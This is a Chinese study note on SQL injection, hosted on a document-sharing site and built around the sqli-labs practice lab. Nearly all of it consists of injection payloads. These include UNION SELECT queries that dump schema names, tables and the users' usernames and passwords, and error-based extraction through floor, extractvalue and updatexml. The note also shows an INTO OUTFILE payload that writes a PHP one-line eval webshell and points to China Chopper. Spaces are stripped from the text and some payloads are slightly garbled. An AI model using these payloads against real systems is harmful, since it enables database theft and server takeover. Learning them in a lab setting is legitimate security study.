sql注入判断流程(结合sqli-labs学习).docVIP

sql注入判断流程(结合sqli-labs学习).doc

  1. 1、本文档共8页,可阅读全部内容。
  2. 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  5. 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  6. 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  7. 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  8. 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多

PAGE

PAGE1

sql注入判断流程(结合sqli-labs学习)

sql注入判断流程(结合sqli-labs学习)

类型一

类型判断

?id=1and1=2--+

如果返回结果正常,说明不是数字类型

and为两方都为真才算争取

?id=1--+显示不正常

?id=1)--+若显示正常,则该类型为字符注入,且以()的方式闭合字符串,还有()

--+是注释,因为浏览器在发送请求的时候会把URL末尾的舍去,所以我们用--+代替--,原因是+在URL被URL编码后会变成。

利用orderby查看有多少列

?id=1orderby1--+

?id=1orderby2--+

...一直到出现Unknowncolumn行数inorderclause为止

小技巧:可以选择一个较大的数字来分组

查询数据库名

?id=-1UNIONSELECT1,(SELECTGROUP_CONCAT(SCHEMA_NAME)frominformation_schema.schemata),3--+

id=-1是为了后面的内容能够正确显示,若前面能直接查询,后面可能查询不完整

通过查询到的数据库名查看表名

?id=-1unionselect1,(selectgroup_concat(schema_name)frominformation_schema.schemata),(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema=数据库名)--+

利用表名爆破列名

?id=-1unionselect1,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_name=users),3--+

整合信息

?id=-1unionselect1,(selectgroup_concat(username)fromsecurity.users),(selectgroup_concat(password)fromsecurity.users)--+

类型二报错盲注

按照类型一无法判断是否有存在注入

不管如何注入都显示报错信息可尝试使用三种方式进行注入

floor函数(取整)

?id=1and(select1from(selectcount(),concat(0x7e,database(),0x7e,floor(rand()2))asafrominformation_schema.tablesgroupbya)asb)limit0,1--+

若返回Subjectqueryreturnsmorethan1row可能是因为限制了返回的字符长度

0x7e是符号‘~’的十六进制

限制64位

extractvalue函数

?id=1andextractvalue(1,concat(0x7,(selectdatabase()),0x7e))limit0,1--+

selectdatabase()可替换为其他查询语句

extractvalue(XML_document,XPath_string);

返回长度为32个字符长度

updatexml函数

?id=1andupdatexml(1,concat(0x3a,(selectdatabase())),1)limit0,1--+

selectdatabase()可替换为其他查询语句

updatexml(XML_document,XPath_string,new_value);

返回长度为32个字符长度

类型三导出文件到本地,一句话木马

了解

file权限:数据库用户是否有权限向操作系统写入和读取已存在的权限

intooutfile:服务器上一个可以写入文件的文件夹的完整路径

将结果保存在本地文件

?id=1))unionselect1,2,3intooutfile有读取权限的路径\文件名.文件类型;--+

注意使用进行转义,即路径写为‘\’

不会覆盖已存在的文件名

尝试一句话木马

?id=1))unionselet1,2,lt;?php@eval($_post[test]);?intooutfile有读取权限的路径\文件名.php;--+

可尝试使用中国菜刀等软件

注意MySQL5.7版本之后intooutfile默认是禁用的,需要重新走一下初始化

在ini或者cnf初始化文件中加入

文档评论(0)

177****3143 + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档